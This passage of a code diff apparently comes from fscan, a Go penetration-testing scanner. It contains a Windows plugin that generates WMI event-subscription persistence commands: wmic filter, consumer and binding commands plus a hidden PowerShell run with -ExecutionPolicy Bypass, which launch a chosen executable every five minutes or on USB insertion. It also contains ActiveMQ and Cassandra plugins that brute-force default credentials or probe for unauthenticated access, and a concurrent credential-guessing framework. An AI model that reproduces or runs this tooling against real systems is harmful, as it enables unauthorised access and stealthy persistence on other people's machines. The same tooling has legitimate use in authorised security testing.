bindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
||||
config.filterName, config.consumerName)
|
||||
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Filter] %s", config.description, filterCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Consumer] %s", config.description, consumerCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[%s - Binding] %s", config.description, bindingCmd))
|
||||
}
|
||||
|
||||
timerFilterName := fmt.Sprintf("TimerFilter_%s", baseNameNoExt)
|
||||
timerConsumerName := fmt.Sprintf("TimerConsumer_%s", baseNameNoExt)
|
||||
|
||||
timerQuery := "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfRawData_PerfOS_System'"
|
||||
|
||||
timerFilterCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="%s", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="%s"`,
|
||||
timerFilterName, timerQuery)
|
||||
|
||||
timerConsumerCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="%s", CommandLineTemplate="\"%s\"", ExecutablePath="\"%s\""`,
|
||||
timerConsumerName, absPath, absPath)
|
||||
|
||||
timerBindingCmd := fmt.Sprintf(`wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"%s\"", Consumer="CommandLineEventConsumer.Name=\"%s\""`,
|
||||
timerFilterName, timerConsumerName)
|
||||
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Filter] %s", timerFilterCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Consumer] %s", timerConsumerCmd))
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[Timer Event (5min) - Binding] %s", timerBindingCmd))
|
||||
|
||||
powershellWMIScript := fmt.Sprintf(`
|
||||
$filterName = "PowerShellFilter_%s"
|
||||
$consumerName = "PowerShellConsumer_%s"
|
||||
$bindingName = "PowerShellBinding_%s"
|
||||
|
||||
$Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
|
||||
Name = $filterName
|
||||
EventNameSpace = "root\cimv2"
|
||||
QueryLanguage = "WQL"
|
||||
Query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType=2"
|
||||
}
|
||||
|
||||
$Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
|
||||
Name = $consumerName
|
||||
CommandLineTemplate = '"%s"'
|
||||
ExecutablePath = "%s"
|
||||
}
|
||||
|
||||
$Binding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
|
||||
Filter = $Filter
|
||||
Consumer = $Consumer
|
||||
}`, baseNameNoExt, baseNameNoExt, baseNameNoExt, absPath, absPath)
|
||||
|
||||
powershellCmd := fmt.Sprintf(`powershell -ExecutionPolicy Bypass -WindowStyle Hidden -Command "%s"`, powershellWMIScript)
|
||||
wmiSubscriptions = append(wmiSubscriptions, fmt.Sprintf("[PowerShell WMI Setup] %s", powershellCmd))
|
||||
|
||||
return wmiSubscriptions, nil
|
||||
}
|
||||
|
||||
// isValidPEFile 检查是否为有效的PE文件
|
||||
func (p *WinWMIPlugin) isValidPEFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
return ext == ".exe" || ext == ".dll"
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("winwmi", func() Plugin {
|
||||
return NewWinWMIPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
# 服务扫描插件目录
|
||||
|
||||
本目录包含所有服务扫描插件,采用简化的单文件插件架构。
|
||||
|
||||
## 已实现插件
|
||||
|
||||
### 数据库服务
|
||||
- `mysql.go` - MySQL数据库扫描
|
||||
- `postgresql.go` - PostgreSQL数据库扫描
|
||||
- `redis.go` - Redis内存数据库扫描
|
||||
- `mongodb.go` - MongoDB文档数据库扫描
|
||||
- `mssql.go` - Microsoft SQL Server扫描
|
||||
- `oracle.go` - Oracle数据库扫描
|
||||
- `memcached.go` - Memcached缓存扫描
|
||||
- `neo4j.go` - Neo4j图数据库扫描
|
||||
|
||||
### 消息队列服务
|
||||
- `rabbitmq.go` - RabbitMQ消息队列扫描
|
||||
- `activemq.go` - ActiveMQ消息队列扫描
|
||||
- `kafka.go` - Apache Kafka扫描
|
||||
|
||||
### 网络服务
|
||||
- `ssh.go` - SSH远程登录服务扫描
|
||||
- `ftp.go` - FTP文件传输服务扫描
|
||||
- `telnet.go` - Telnet远程终端服务扫描
|
||||
- `smtp.go` - SMTP邮件服务扫描
|
||||
- `snmp.go` - SNMP网络管理协议扫描
|
||||
- `ldap.go` - LDAP目录服务扫描
|
||||
- `rsync.go` - Rsync文件同步服务扫描
|
||||
|
||||
### Windows服务
|
||||
- `findnet.go` - Windows网络发现插件 (RPC端点映射)
|
||||
- `smbinfo.go` - SMB协议信息收集插件
|
||||
|
||||
### 其他服务
|
||||
- `vnc.go` - VNC远程桌面服务扫描
|
||||
- `cassandra.go` - Apache Cassandra数据库扫描
|
||||
|
||||
## 插件特性
|
||||
|
||||
每个插件都包含:
|
||||
- ✅ 服务识别功能
|
||||
- ✅ 弱密码检测功能
|
||||
- ✅ 完整的利用功能
|
||||
- ✅ 错误处理和超时控制
|
||||
- ✅ 统一的结果输出格式
|
||||
|
||||
## 开发规范
|
||||
|
||||
所有插件都遵循 `../README.md` 中定义的开发规范。
|
||||
@@ -0,0 +1,284 @@
|
||||
//go:build plugin_activemq || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ActiveMQPlugin ActiveMQ扫描插件
|
||||
type ActiveMQPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewActiveMQPlugin() *ActiveMQPlugin {
|
||||
return &ActiveMQPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("activemq"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 生成测试凭据
|
||||
credentials := GenerateCredentials("activemq", config)
|
||||
if len(credentials) == 0 {
|
||||
// ActiveMQ默认凭据
|
||||
credentials = []Credential{
|
||||
{Username: "admin", Password: "admin"},
|
||||
{Username: "admin", Password: ""},
|
||||
{Username: "admin", Password: "password"},
|
||||
{Username: "activemq", Password: "activemq"},
|
||||
{Username: "activemq", Password: "admin"},
|
||||
{Username: "user", Password: "user"},
|
||||
{Username: "guest", Password: "guest"},
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("activemq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建ActiveMQ认证函数
|
||||
func (p *ActiveMQPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doActiveMQAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doActiveMQAuth 执行ActiveMQ认证
|
||||
func (p *ActiveMQPlugin) doActiveMQAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyActiveMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
success, err := p.authenticateSTOMP(conn, cred.Username, cred.Password, config)
|
||||
if success {
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: true,
|
||||
Conn: &activeMQConnWrapper{conn},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
_ = conn.Close()
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
resultChan <- &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyActiveMQErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,启动清理协程等待并关闭可能创建的连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// activeMQConnWrapper 包装ActiveMQ连接以实现io.Closer
|
||||
type activeMQConnWrapper struct {
|
||||
conn net.Conn
|
||||
}
|
||||
|
||||
func (w *activeMQConnWrapper) Close() error {
|
||||
return w.conn.Close()
|
||||
}
|
||||
|
||||
// classifyActiveMQErrorType ActiveMQ错误分类
|
||||
func classifyActiveMQErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
activeMQAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"access denied",
|
||||
"invalid credentials",
|
||||
"login failed",
|
||||
"unauthorized",
|
||||
"403 forbidden",
|
||||
"security exception",
|
||||
"invalid user",
|
||||
"invalid password",
|
||||
"login incorrect",
|
||||
}
|
||||
|
||||
return ClassifyError(err, activeMQAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// authenticateSTOMP 使用STOMP协议认证ActiveMQ
|
||||
func (p *ActiveMQPlugin) authenticateSTOMP(conn net.Conn, username, password string, config *common.Config) (bool, error) {
|
||||
timeout := config.Timeout
|
||||
|
||||
stompConnect := fmt.Sprintf("CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\nlogin:%s\npasscode:%s\n\n\x00",
|
||||
username, password)
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, err := conn.Write([]byte(stompConnect)); err != nil {
|
||||
return false, fmt.Errorf("STOMP请求发送失败: %w", err)
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 1024)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("STOMP响应读取失败: %w", err)
|
||||
}
|
||||
if n == 0 {
|
||||
return false, fmt.Errorf("STOMP无响应数据")
|
||||
}
|
||||
|
||||
responseStr := string(response[:n])
|
||||
|
||||
if strings.Contains(responseStr, "CONNECTED") {
|
||||
return true, nil
|
||||
} else if strings.Contains(responseStr, "ERROR") {
|
||||
errorMsg := "STOMP认证错误"
|
||||
if strings.Contains(responseStr, "Authentication failed") {
|
||||
errorMsg = "Authentication failed"
|
||||
} else if strings.Contains(responseStr, "Access denied") {
|
||||
errorMsg = "Access denied"
|
||||
} else if strings.Contains(responseStr, "Invalid credentials") {
|
||||
errorMsg = "Invalid credentials"
|
||||
}
|
||||
return false, fmt.Errorf("%s", errorMsg)
|
||||
}
|
||||
|
||||
return false, fmt.Errorf("STOMP未知响应格式")
|
||||
}
|
||||
|
||||
// identifyService ActiveMQ服务识别
|
||||
func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
timeout := config.Timeout
|
||||
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", target, timeout)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
stompConnect := "CONNECT\naccept-version:1.0,1.1,1.2\nhost:/\n\n\x00"
|
||||
|
||||
_ = conn.SetWriteDeadline(time.Now().Add(timeout))
|
||||
if _, writeErr := conn.Write([]byte(stompConnect)); writeErr != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法发送STOMP请求: %w", writeErr),
|
||||
}
|
||||
}
|
||||
|
||||
_ = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
response := make([]byte, 512)
|
||||
n, err := conn.Read(response)
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法读取响应: %w", err),
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无响应数据"),
|
||||
}
|
||||
}
|
||||
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
responseStr := string(response[:n])
|
||||
|
||||
if common.ContainsAny(responseStr, "CONNECTED", "ERROR") {
|
||||
banner := "ActiveMQ STOMP"
|
||||
if strings.Contains(responseStr, "server:") {
|
||||
lines := strings.Split(responseStr, "\n")
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "server:") {
|
||||
banner = strings.TrimSpace(strings.TrimPrefix(line, "server:"))
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("activemq_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Service: "activemq",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "activemq",
|
||||
Error: fmt.Errorf("无法识别为ActiveMQ STOMP服务"),
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("activemq", func() Plugin {
|
||||
return NewActiveMQPlugin()
|
||||
}, []int{61613, 61614, 61616, 61617, 61618, 8161})
|
||||
}
|
||||
@@ -0,0 +1,217 @@
|
||||
//go:build plugin_cassandra || !plugin_selective
|
||||
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gocql/gocql"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// CassandraPlugin Cassandra扫描插件
|
||||
type CassandraPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
func NewCassandraPlugin() *CassandraPlugin {
|
||||
return &CassandraPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("cassandra"),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
}
|
||||
|
||||
// 先尝试无认证连接
|
||||
if result := p.tryNoAuthConnection(ctx, info, config, state); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
credentials := GenerateCredentials("cassandra", config)
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "cassandra",
|
||||
Error: fmt.Errorf("没有可用的测试凭据"),
|
||||
}
|
||||
}
|
||||
|
||||
// 使用公共框架进行并发凭据测试
|
||||
authFn := p.createAuthFunc(info, config, state)
|
||||
testConfig := DefaultConcurrentTestConfig(config)
|
||||
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogSuccess(i18n.Tr("cassandra_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// createAuthFunc 创建Cassandra认证函数
|
||||
func (p *CassandraPlugin) createAuthFunc(info *common.HostInfo, config *common.Config, state *common.State) AuthFunc {
|
||||
return func(ctx context.Context, cred Credential) *AuthResult {
|
||||
return p.doCassandraAuth(ctx, info, cred, config, state)
|
||||
}
|
||||
}
|
||||
|
||||
// doCassandraAuth 执行Cassandra认证
|
||||
func (p *CassandraPlugin) doCassandraAuth(ctx context.Context, info *common.HostInfo, cred Credential, config *common.Config, state *common.State) *AuthResult {
|
||||
cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
if cred.Username != "" || cred.Password != "" {
|
||||
cluster.Authenticator = gocql.PasswordAuthenticator{
|
||||
Username: cred.Username,
|
||||
Password: cred.Password,
|
||||
}
|
||||
}
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyCassandraErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
var dummy string
|
||||
err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy)
|
||||
if err != nil {
|
||||
session.Close()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: classifyCassandraErrorType(err),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
return &AuthResult{
|
||||
Success: true,
|
||||
Conn: &cassandraSessionWrapper{session},
|
||||
ErrorType: ErrorTypeUnknown,
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// cassandraSessionWrapper 包装 gocql.Session 以实现 io.Closer
|
||||
type cassandraSessionWrapper struct {
|
||||
*gocql.Session
|
||||
}
|
||||
|
||||
func (w *cassandraSessionWrapper) Close() error {
|
||||
w.Session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
// classifyCassandraErrorType Cassandra错误分类
|
||||
func classifyCassandraErrorType(err error) ErrorType {
|
||||
if err == nil {
|
||||
return ErrorTypeUnknown
|
||||
}
|
||||
|
||||
cassandraAuthErrors := []string{
|
||||
"authentication failed",
|
||||
"bad credentials",
|
||||
"invalid credentials",
|
||||
"username and/or password are incorrect",
|
||||
"unauthorized",
|
||||
"access denied",
|
||||
}
|
||||
|
||||
return ClassifyError(err, cassandraAuthErrors, CommonNetworkErrors)
|
||||
}
|
||||
|
||||
// tryNoAuthConnection 尝试无认证连接
|
||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
return nil
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
|
||||
var dummy string
|
||||
err = session.Query("SELECT cluster_name FROM system.local").WithContext(ctx).Scan(&dummy)
|
||||
if err != nil {
|
||||
session.Close()
|
||||
return nil
|
||||
}
|
||||
|
||||
session.Close()
|
||||
common.LogSuccess(i18n.Tr("cassandra_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: fmt.Sprintf("Cassandra (无认证, 集群: %s)", dummy),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
target := info.Target()
|
||||
|
||||
cluster := gocql.NewCluster(info.Host)
|
||||
cluster.Port = info.Port
|
||||
cluster.Timeout = config.Timeout
|
||||
cluster.ConnectTimeout = config.Timeout
|
||||
|
||||
session, err := cluster.CreateSession()
|
||||
if err != nil {
|
||||
state.IncrementTCPFailedPacketCount()
|
||||
if strings.Contains(strings.ToLower(err.Error()), "authentication") {
|
||||
banner := "Cassandra (需要认证)"
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: "cassandra",
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
session.Close()
|
||||
|
||||
banner := "Cassandra"
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
Service: "cassandra",
|
||||
Banner: banner,
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
RegisterPluginWithPorts("cassandra", func() Plugin {
|
||||
return NewCassandraPlugin()
|
||||
}, []int{9042, 9160, 7000, 7001})
|
||||
}
|
||||
@@ -0,0 +1,373 @@
|
||||
package services
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
/*
|
||||
credential_tester.go - 统一凭据测试框架
|
||||
|
||||
解决的问题:
|
||||
1. goroutine 泄漏:context 取消时正确清理资源
|
||||
2. 效率问题:找到成功凭据后通知其他 worker 停止
|
||||
3. 代码重复:20+ 插件共享同一套并发测试逻辑
|
||||
|
||||
设计原则:
|
||||
- 简洁:只提供必要的抽象
|
||||
- 安全:正确处理 context 取消和资源清理
|
||||
- 通用:适用于所有凭据测试场景
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 错误类型定义
|
||||
// =============================================================================
|
||||
|
||||
// ErrorType 错误分类
|
||||
type ErrorType int
|
||||
|
||||
const (
|
||||
ErrorTypeAuth ErrorType = iota // 认证错误 - 密码错误,不重试
|
||||
ErrorTypeNetwork // 网络错误 - 连接问题,可重试
|
||||
ErrorTypeUnknown // 未知错误
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 核心类型定义
|
||||
// =============================================================================
|
||||
|
||||
// AuthResult 认证结果
|
||||
type AuthResult struct {
|
||||
Success bool
|
||||
Conn io.Closer // 成功时的连接,需要调用者关闭
|
||||
ErrorType ErrorType
|
||||
Error error
|
||||
}
|
||||
|
||||
// AuthFunc 认证函数类型
|
||||
// 执行实际的连接和认证操作
|
||||
// 返回的 Conn 在成功时由调用者负责关闭
|
||||
type AuthFunc func(ctx context.Context, cred Credential) *AuthResult
|
||||
|
||||
// ErrorClassifier 错误分类函数
|
||||
type ErrorClassifier func(err error) ErrorType
|
||||
|
||||
// =============================================================================
|
||||
// 单凭据测试(解决 goroutine 泄漏)
|
||||
// =============================================================================
|
||||
|
||||
// TestSingleCredential 安全地测试单个凭据
|
||||
// 正确处理 context 取消时的资源清理
|
||||
func TestSingleCredential(ctx context.Context, cred Credential, authFn AuthFunc) *AuthResult {
|
||||
resultChan := make(chan *AuthResult, 1)
|
||||
|
||||
go func() {
|
||||
result := authFn(ctx, cred)
|
||||
resultChan <- result
|
||||
}()
|
||||
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return result
|
||||
case <-ctx.Done():
|
||||
// context 被取消,但 goroutine 可能还在运行
|
||||
// 启动清理协程:等待结果并关闭连接
|
||||
go func() {
|
||||
result := <-resultChan
|
||||
if result != nil && result.Conn != nil {
|
||||
_ = result.Conn.Close()
|
||||
}
|
||||
}()
|
||||
return &AuthResult{
|
||||
Success: false,
|
||||
ErrorType: ErrorTypeNetwork,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 并发凭据测试(解决效率问题)
|
||||
// =============================================================================
|
||||
|
||||
// ConcurrentTestConfig 并发测试配置
|
||||
type ConcurrentTestConfig struct {
|
||||
Concurrency int // 并发数,默认 10
|
||||
MaxRetries int // 最大重试次数,默认 3
|
||||
RetryDelay time.Duration // 重试延迟,默认 1s
|
||||
MaxConsecutiveNetErrors int // 连续网络错误阈值,超过则认为目标不可达,默认 5
|
||||
}
|
||||
|
||||
// DefaultConcurrentTestConfig 默认配置
|
||||
func DefaultConcurrentTestConfig(config *common.Config) ConcurrentTestConfig {
|
||||
concurrency := config.ModuleThreadNum
|
||||
if concurrency <= 0 {
|
||||
concurrency = 10
|
||||
}
|
||||
return ConcurrentTestConfig{
|
||||
Concurrency: concurrency,
|
||||
MaxRetries: 3,
|
||||
RetryDelay: time.Second,
|
||||
}
|
||||
}
|
||||
|
||||
// TestCredentialsConcurrently 并发测试多个凭据
|
||||
// 找到成功凭据后立即通知其他 worker 停止
|
||||
func TestCredentialsConcurrently(
|
||||
ctx context.Context,
|
||||
credentials []Credential,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) *ScanResult {
|
||||
if len(credentials) == 0 {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: fmt.Errorf("无凭据可测试"),
|
||||
}
|
||||
}
|
||||
|
||||
// 调整并发数
|
||||
concurrency := testConfig.Concurrency
|
||||
if concurrency > len(credentials) {
|
||||
concurrency = len(credentials)
|
||||
}
|
||||
|
||||
// 创建可取消的 context - 找到成功后取消其他 worker
|
||||
cancelCtx, cancel := context.WithCancel(ctx)
|
||||
defer cancel()
|
||||
|
||||
// 通道
|
||||
credChan := make(chan Credential, len(credentials))
|
||||
resultChan := make(chan *ScanResult, concurrency)
|
||||
|
||||
// 发送所有凭据
|
||||
for _, cred := range credentials {
|
||||
credChan <- cred
|
||||
}
|
||||
close(credChan)
|
||||
|
||||
// 启动 workers
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < concurrency; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
workerTestCredentials(cancelCtx, credChan, resultChan, authFn, serviceName, testConfig)
|
||||
}()
|
||||
}
|
||||
|
||||
// 等待所有 worker 完成后关闭结果通道
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 收集结果
|
||||
for result := range resultChan {
|
||||
if result != nil && result.Success {
|
||||
cancel() // 通知其他 worker 停止
|
||||
return result
|
||||
}
|
||||
}
|
||||
|
||||
// 检查父 context 是否被取消
|
||||
if ctx.Err() != nil {
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: ctx.Err(),
|
||||
}
|
||||
}
|
||||
|
||||
return &ScanResult{
|
||||
Success: false,
|
||||
Service: serviceName,
|
||||
Error: fmt.Errorf("未发现弱密码"),
|
||||
}
|
||||
}
|
||||
|
||||
// workerTestCredentials worker 协程
|
||||
func workerTestCredentials(
|
||||
ctx context.Context,
|
||||
credChan <-chan Credential,
|
||||
resultChan chan<- *ScanResult,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) {
|
||||
for cred := range credChan {
|
||||
// 检查是否应该停止
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 带重试的凭据测试
|
||||
result := testCredentialWithRetry(ctx, cred, authFn, serviceName, testConfig)
|
||||
if result != nil && result.Success {
|
||||
resultChan <- result
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// testCredentialWithRetry 带重试的凭据测试
|
||||
func testCredentialWithRetry(
|
||||
ctx context.Context,
|
||||
cred Credential,
|
||||
authFn AuthFunc,
|
||||
serviceName string,
|
||||
testConfig ConcurrentTestConfig,
|
||||
) *ScanResult {
|
||||
for attempt := 0; attempt < testConfig.MaxRetries; attempt++ {
|
||||
// 检查是否应该停止
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
|
||||
// 测试凭据
|
||||
result := TestSingleCredential(ctx, cred, authFn)
|
||||
|
||||
if result.Success && result.Conn != nil {
|
||||
// 成功,关闭连接并返回
|
||||
_ = result.Conn.Close()
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeCredential,
|
||||
Success: true,
|
